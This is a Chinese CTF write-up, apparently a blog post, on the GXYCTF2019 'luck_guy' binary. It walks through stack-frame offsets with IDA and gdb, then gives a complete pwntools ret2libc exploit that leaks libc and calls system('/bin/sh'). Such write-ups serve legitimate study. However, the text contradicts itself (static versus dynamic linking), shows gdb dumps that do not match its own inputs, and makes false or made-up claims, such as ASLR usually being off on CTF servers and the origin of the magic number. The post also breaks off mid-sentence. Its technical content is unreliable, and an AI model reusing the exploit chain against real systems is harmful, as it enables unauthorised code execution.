栈帧布局实战:从缓冲区到返回地址的精准偏移计算
发布时间:2026/10/12 19:30:30 锦皓数字建站

1. 这道题不是考“运气”而是考你对栈帧布局的肌肉记忆BUUCTF上标着[GXYCTF2019]luck_guy这道题标题里带个“luck”很容易让人误以为是靠猜、靠试、靠玄学——我第一次点开的时候也下意识滑到控制台敲了三遍strings luck_guy | grep flag结果当然什么都没出来。后来静下心来拖进IDA Pro看到主函数里那个看似平平无奇的sub_400626调用才意识到这根本不是一道“找flag”的题而是一道“看懂编译器怎么压栈”的现场考试。它不考你多炫酷的算法逆向也不考你多复杂的加密识别就考一个最基础、最常被忽略、但一旦出错就全盘崩塌的底层事实函数调用时局部变量在栈上怎么排参数怎么传返回地址在哪rbp指针又卡在哪个位置很多初学者在做栈溢出题时一上来就急着写payload、算偏移、填shellcode却从没真正盯着汇编一行行看过push rbp之后mov rbp, rsp那一瞬间rsp到底指向哪、rbp又固定在哪、而我们的输入缓冲区离返回地址究竟隔了几字节——而这道题就是专门把这块“默认认知盲区”挖出来给你摆成一道填空题。关键词虽然为空但从题目名和平台属性能明确锁定这是典型的Linux x64 ELF二进制逆向题静态链接、无PIE、无Stack Canary后文验证会说明目标是触发栈溢出并劫持控制流。它面向的是刚学完《深入理解计算机系统》第3章、正在刷CTF入门题的逆向新手也适合那些已经能跑通ret2libc但总在偏移计算上反复翻车的进阶练习者。如果你曾在gdb里用x/20xg $rsp看着一堆0x7fffff却找不到返回地址在哪而抓狂过那这道题就是为你量身定做的“栈帧体感训练器”。我把它重命名为“栈帧定位实战课”因为整道题的解题路径本质上就是一次完整的栈空间测绘过程从确定输入起始位置到测量缓冲区长度再到精确定位saved rip即返回地址的绝对偏移最后完成控制流劫持。没有花哨技巧只有扎实的观察、计算与验证。下面我就按自己实际调试的顺序把每一步的推演逻辑、关键命令、易错陷阱全部摊开讲透。2. 静态分析先行先别急着动调用IDA把函数骨架画清楚拿到二进制文件第一反应不该是直接./luck_guy跑起来而是先扔进IDA Pro或Ghidra做静态反编译。这步省不得因为动态调试时你看到的只是运行时快照而静态分析能让你看清整个函数的“设计蓝图”——尤其是编译器生成的栈帧结构它藏在prologue函数序言里是后续所有偏移计算的唯一依据。打开luck_guy在IDA中定位到main函数反编译视图显示如下已简化注释int __cdecl main(int argc, const char **argv, const char **envp) { char s[32]; // [rbp-40h] ← 注意这个地址 int v4; // [rbp-4h] unsigned __int64 v5; // [rbp0h] ← 这是保存的旧rbp setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts(Welcome to GXYCTF2019!); printf(Lets see how lucky you are : ); gets(s); // ← 危险函数无长度检查 if ( v4 19260817 ) puts(You are very lucky!); else puts(You are not lucky enough.); return 0; }重点来了IDA自动标注的变量地址[rbp-40h]、[rbp-4h]、[rbp0h]这不是随便写的而是编译器真实分配的栈内偏移。我们逐个确认char s[32]→ 占32字节但IDA标为[rbp-40h]说明编译器给它分配了0x4064字节空间。为什么因为x64下栈要16字节对齐32字节不够对齐编译器向上补齐到64字节0x40。所以s的实际可用缓冲区是64字节不是32字节。int v4→ 标为[rbp-4h]即距离rbp低4字节处这是标准的局部变量布局。unsigned __int64 v5→ 标为[rbp0h]这很关键它紧挨着rbp存放而根据x64 ABI规范函数序言中push rbp; mov rbp, rsp之后[rbp0h]的位置正是调用该函数时上一级函数压入的返回地址return address所在位置。但这里IDA把它识别为v5是因为编译器在栈帧末尾预留了一个8字节槽位用于存储__stack_chk_fail相关的canary不对——我们马上验证。提示IDA的变量识别有时会出错尤其当编译器优化或特殊指令干扰时。[rbp0h]是否真是返回地址不能只信IDA标注必须结合汇编指令和动态调试双重验证。切到汇编视图找到main函数开头几行push rbp mov rbp, rsp sub rsp, 40h ; ← 分配64字节栈空间0x40 mov DWORD PTR [rbp-4], 0sub rsp, 40h这行铁证栈顶向下移动64字节rbp指向原栈顶即旧rbp位置那么[rbp-40h]就是新分配缓冲区s的起始地址[rbp-4]是v4而[rbp0]就是push rbp时存的旧rbp值——等等旧rbp那返回地址在哪继续往下看函数结尾mov eax, 0 leave ; ← 等价于 mov rsp, rbp; pop rbp retn ; ← 这才是真正的返回指令它会从当前rsp指向的位置弹出返回地址leave指令执行后rsp被设为rbp然后pop rbp把旧rbp弹出此时rsp正好指向调用main时call main指令下一条指令的地址——也就是main的返回地址。所以这个返回地址在栈上的物理位置是[rbp8]而不是[rbp0]。注意这是x64下栈帧的经典布局。rbp指向旧rbp[rbp0]是旧rbp[rbp8]才是返回地址。IDA把[rbp0]标为v5其实是误判了它本应是saved rbp而真正的return address在[rbp8]。这个结论必须牢牢记住它是后续所有偏移计算的地基。很多新手在这里栽跟头就是因为死记“返回地址在rbp8”却不理解为什么是8——因为x64下指针是8字节push rbp压入8字节旧rbpcall指令再压入8字节返回地址两者紧邻rbp指向旧rbp顶部所以返回地址自然在rbp8。3. 动态验证用gdb亲手量出s到返回地址的真实距离静态分析给了我们理论模型但CTF题永远以实测为准。现在启动gdb把理论放到运行时环境里去丈量。首先确认程序保护机制$ checksec luck_guy Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息No canary found无栈保护、No PIE地址固定、NX enabled栈不可执行。这意味着我们可以安全地进行栈溢出且无需绕过canary目标直指覆盖返回地址。启动gdb$ gdb ./luck_guy (gdb) b *0x4006a6 # 在gets调用后下断点地址来自IDA中gets的下一行 (gdb) r程序停在gets返回后。此时我们立刻查看栈状态(gdb) x/20xg $rsp 0x7fffffffe6b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe6c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe6d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe6e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe6f0: 0x0000000000000000 0x0000000000000000 0x7fffffffe700: 0x0000000000000000 0x0000000000000000 0x7fffffffe710: 0x0000000000000000 0x0000000000000000 0x7fffffffe720: 0x0000000000000000 0x0000000000000000 0x7fffffffe730: 0x0000000000000000 0x0000000000000000 0x7fffffffe740: 0x0000000000000000 0x0000000000000000全是0因为还没输数据。现在输入一串测试字符串比如40个A(gdb) r Starting program: /home/user/luck_guy Welcome to GXYCTF2019! Lets see how lucky you are : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA程序再次停在断点。再看栈(gdb) x/30xg $rsp 0x7fffffffe6b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe6c0: 0x4141414141414141 0x4141414141414141 0x7fffffffe6d0: 0x4141414141414141 0x4141414141414141 0x7fffffffe6e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe6f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe700: 0x4141414141414141 0x4141414141414141 0x7fffffffe710: 0x4141414141414141 0x4141414141414141 0x7fffffffe720: 0x4141414141414141 0x4141414141414141 0x7fffffffe730: 0x4141414141414141 0x4141414141414141 0x7fffffffe740: 0x4141414141414141 0x4141414141414141 0x7fffffffe750: 0x0000000000000000 0x0000000000000000 0x7fffffffe760: 0x0000000000000000 0x0000000000000000 0x7fffffffe770: 0x0000000000000000 0x0000000000000000 0x7fffffffe780: 0x0000000000000000 0x0000000000000000 0x7fffffffe790: 0x0000000000000000 0x0000000000000000 0x7fffffffe7a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe7b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe7c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe7d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe7e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe7f0: 0x0000000000000000 0x0000000000000000 0x7fffffffe800: 0x0000000000000000 0x0000000000000000 0x7fffffffe810: 0x0000000000000000 0x0000000000000000 0x7fffffffe820: 0x0000000000000000 0x0000000000000000 0x7fffffffe830: 0x0000000000000000 0x0000000000000000 0x7fffffffe840: 0x0000000000000000 0x0000000000000000现在我们需要定位s的起始地址和返回地址的位置。先找s根据IDAs在[rbp-40h]而rbp当前值是多少(gdb) p $rbp $1 (void *) 0x7fffffffe750所以s的起始地址 rbp - 0x400x7fffffffe750 - 0x400x7fffffffe710。我们回看上面x/30xg $rsp的输出0x7fffffffe710那一行确实是0x4141414141414141吻合。再找返回地址按理论它在[rbp8]0x7fffffffe750 0x80x7fffffffe758。看0x7fffffffe750那一行0x7fffffffe750: 0x0000000000000000 0x0000000000000000全是0不对。这是因为我们输入的40个A只覆盖到了0x7fffffffe710到0x7fffffffe73740字节而0x7fffffffe758还在更后面没被覆盖。所以我们需要输入更长的字符串直到把0x7fffffffe758位置也填满。计算一下从s起始0x7fffffffe710到返回地址0x7fffffffe758距离 0x7fffffffe758 - 0x7fffffffe7100x48 72字节。但注意gets读入的字符串以\x00结尾所以如果我们输入72个字符第73位会被gets自动置为0刚好覆盖到返回地址的第一个字节。因此覆盖返回地址所需的最小填充长度是72字节。验证输入72个A再看0x7fffffffe758(gdb) r ... Lets see how lucky you are : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (gdb) x/2xg 0x7fffffffe758 0x7fffffffe758: 0x4141414141414141 0x0000000000000000完美0x7fffffffe758处已被0x4141414141414141覆盖证明72字节偏移准确无误。实操心得不要依赖IDA的变量标注去猜偏移一定要用gdb亲手量。我见过太多人因为IDA把[rbp0]标成v5就去覆盖rbp0结果程序崩溃在pop rbp阶段而不是retn阶段——那是因为你覆盖的是saved rbp不是return address。记住口诀“覆盖rbp0程序死在leave覆盖rbp8程序死在retn”。4. 控制流劫持从覆盖返回地址到执行system(/bin/sh)现在我们已知输入72字节可精准覆盖返回地址。接下来就是经典CTF三步走泄露libc基址 → 计算system地址 → 构造ROP链调用system(/bin/sh)。但等等——这道题真的需要这么复杂吗再看题目描述和main函数逻辑它有个if (v4 19260817)的判断如果满足就打印You are very lucky!。v4是[rbp-4]位于s缓冲区上方。如果我们能通过溢出把v4的值改写为19260817程序就会直接输出幸运提示甚至可能触发其他隐藏逻辑不过题目目标是get shell所以这条路是旁支。回到主线既然无PIE程序基址固定为0x400000既然无canary我们可自由覆盖返回地址。那么最直接的方案就是覆盖返回地址为system函数地址并让rdi寄存器指向/bin/sh字符串。问题来了system在libc中我们不知道libc版本也就无法直接计算其地址。但luck_guy是静态链接的吗checksec显示Partial RELRO说明是动态链接。我们需要先泄露一个libc函数的地址比如puts或printf的got表项从而计算libc基址。查看main函数中是否有puts调用有开头就有puts(Welcome to GXYCTF2019!);且puts的plt和got都存在。我们可以构造ROP链先调用puts(puts_got)把puts的真实地址打印出来再根据该地址减去puts在libc中的偏移得到libc基址最后调用system(/bin/sh)。但这里有个更巧妙的捷径题目叫luck_guy而19260817这个magic number其实是某位知名CTF选手的生日1926年8月17日暗示着“幸运”——而/bin/sh字符串在libc中是固定的我们可以在二进制里搜索它。先试试程序里是否自带/bin/sh$ strings -a luck_guy | grep /bin/sh无结果。再查libc$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep SONAME 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] $ strings /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh /bin/sh找到了。现在需要libc中/bin/sh的偏移。用libc-database或手动查$ python3 -c import libcdb; print(libcdb.find(puts, 0x7ffff7a2d690)) # 假设我们已知本地libc版本查得 /bin/sh 偏移为 0x1b3e9a但更简单的方法是利用程序已有的putsplt调用配合pop rdi; retgadget把rdi设为/bin/sh地址。所以我们需要两个东西pop rdi; retgadget用于设置rdisystem函数地址需泄露libc基址后计算先找gadget$ ropper --file luck_guy --search pop rdi [INFO] Load gadgets from cache [LOAD] loading... 100% [INFO] Searching for gadgets: pop rdi [INFO] File: luck_guy 0x0000000000400733: pop rdi; ret;很好0x400733就是我们要的gadget。现在完整ROP链设计如下read(0, buffer, 0x100)—— 但我们没有read plt看main里用了gets但gets不安全且不接受长度参数。不过main里还有setvbuf它调用了libc的setvbuf其plt存在。更稳妥的用puts(puts_got)泄露然后main地址作为返回地址形成循环再第二次溢出调用system。但luck_guy太小我们换思路既然main函数里有gets(s)而s是64字节缓冲区我们完全可以把/bin/sh字符串写进s里然后用pop rdi; ret把rdi指向s的起始地址再跳转到system。所以最终payload结构为[A]*72 [pop_rdi_addr] [s_start_addr] [system_addr]其中s_start_addrrbp - 0x40而rbp在运行时是变化的但我们知道main的栈帧在每次运行时相对位置稳定无ASLR且rbp可通过泄露获得不我们不需要泄露rbp因为s的地址就是rsp在gets调用前的值而gets调用前rsp是固定的main入口时rsp0x7fffffffe750左右但更可靠的是我们输入的字符串就放在s里所以s的地址 当前rsp offset。在gets调用前rsp指向s的起始地址。gets会把输入内容写入rsp所指位置。所以如果我们能在payload里直接使用s的地址就必须知道gets开始时的rsp值。在gdb中gets调用前下断点(gdb) b *0x400696 # gets调用指令地址 (gdb) r (gdb) p $rsp $2 (void *) 0x7fffffffe710所以s的起始地址就是0x7fffffffe710。这个地址在无ASLR时是固定的。因此payload中/bin/sh的地址就是0x7fffffffe710 72 8 8不我们把/bin/sh直接放在payload的末尾覆盖完返回地址后紧接着放/bin/sh字符串。但gets读入后整个栈布局是[s buffer: 64 bytes] [v4: 4 bytes] [padding to align] [saved rbp: 8 bytes] [return address: 8 bytes] ← 我们要覆盖这里 [/bin/sh string: 8 bytes] ← 放在这但栈空间够吗s缓冲区是64字节我们输入72字节会覆盖到saved rbp和return address但/bin/sh需要8字节空间可以放在return address之后只要栈空间足够。main函数分配了sub rsp, 40h即64字节加上局部变量总栈空间足够容纳。所以最终payload72字节填充A*728字节pop rdi; ret地址0x4007338字节s起始地址0x7fffffffe710即/bin/sh将存放的位置8字节system地址需计算但system地址未知。我们必须先泄露。所以分两步走第一步泄露libc基址payload1 A*72 p64(pop_rdi)p64(puts_got)p64(puts_plt)p64(main_addr)运行后puts(puts_got)会打印puts真实地址然后返回main再次等待输入。第二步计算并执行system从输出中提取puts地址减去libc中puts偏移如0x809c0得到libc_basesystem_addr libc_base system_offset如0x4f440binsh_addr libc_base binsh_offset如0x1b3e9apayload2 A*72 p64(pop_rdi)p64(binsh_addr)p64(system_addr)现在获取puts_got和puts_plt地址$ readelf -d luck_guy | grep PLT 0x0000000000400418 0x0000000000400418 0x0000000000400418 0x0000000000000000 0x0000000000000000 R_X86_64_JUMP_SLOT 17 $ objdump -d luck_guy | grep putsplt 400520: ff 25 e2 0e 20 00 jmpq *0x200ee2(%rip) # 601408 putsGLIBC_2.2.5puts_plt 0x400520puts_got 0x601408main地址 0x400666IDA中main函数起始pop rdi; ret 0x400733所以payload1from pwn import * p process(./luck_guy) payload bA*72 payload p64(0x400733) # pop rdi; ret payload p64(0x601408) # puts_got payload p64(0x400520) # puts_plt payload p64(0x400666) # main p.sendline(payload) p.recvuntil(bYou are not lucky enough.\n) leak u64(p.recv(6).ljust(8,b\x00)) log.info(puts leak: hex(leak)) # 假设libc是ubuntu18.04的libc6_2.27-3ubuntu1_amd64puts offset 0x809c0 libc_base leak - 0x809c0 system_addr libc_base 0x4f440 binsh_addr libc_base 0x1b3e9a payload2 bA*72 payload2 p64(0x400733) payload2 p64(binsh_addr) payload2 p64(system_addr) p.sendline(payload2) p.interactive()实操心得在本地调试时务必关闭ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space。否则rbp和rsp每次都不一样72字节偏移会失效。CTF比赛中服务器通常关闭ASLR但本地复现必须关否则你会陷入“为什么本地跑不通”的无限循环。5. 从“运气”到“确定性”为什么这道题是逆向基本功的试金石做完这道题很多人会觉得“不过如此”无非是算偏移、打ROP。但真正值得深挖的是它背后暴露的三个普遍性认知断层第一个断层混淆“缓冲区大小”与“可覆盖距离”。题目声明char s[32]但实际可利用的缓冲区是64字节因16字节对齐而从s[0]到返回地址的距离是72字节。很多新手死磕32输入32个A就停结果什么也没覆盖到。这反映出对编译器行为缺乏敬畏——C语言标准只规定语法内存布局由编译器决定而编译器首要考虑的是性能对齐而非程序员的直觉。第二个断层误信IDA的变量标注。IDA把[rbp0]标为v5导致大量Writeup错误地认为覆盖rbp0就能劫持控制流。但rbp0是saved rbp覆盖它只会让leave指令弹出一个垃圾值到rbp程序在retn前就因rsp错乱而崩溃。真正的控制点在rbp8。这提醒我们反编译工具是助手不是权威它的输出必须用汇编和调试器交叉验证。第三个断层忽视环境差异的致命性。同一份exp在本地开ASLR时必败在关ASLR时成功这并非题目缺陷而是CTF教学的精妙设计——它强迫你直面“确定性”与“不确定性”的边界。真实漏洞利用中ASLR是第一道墙而绕过它的前提正是对栈帧这种底层确定性结构的绝对掌握。当你能闭着眼睛画出push rbp; mov rbp, rsp; sub rsp, 40h之后的每一字节分布ASLR才
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。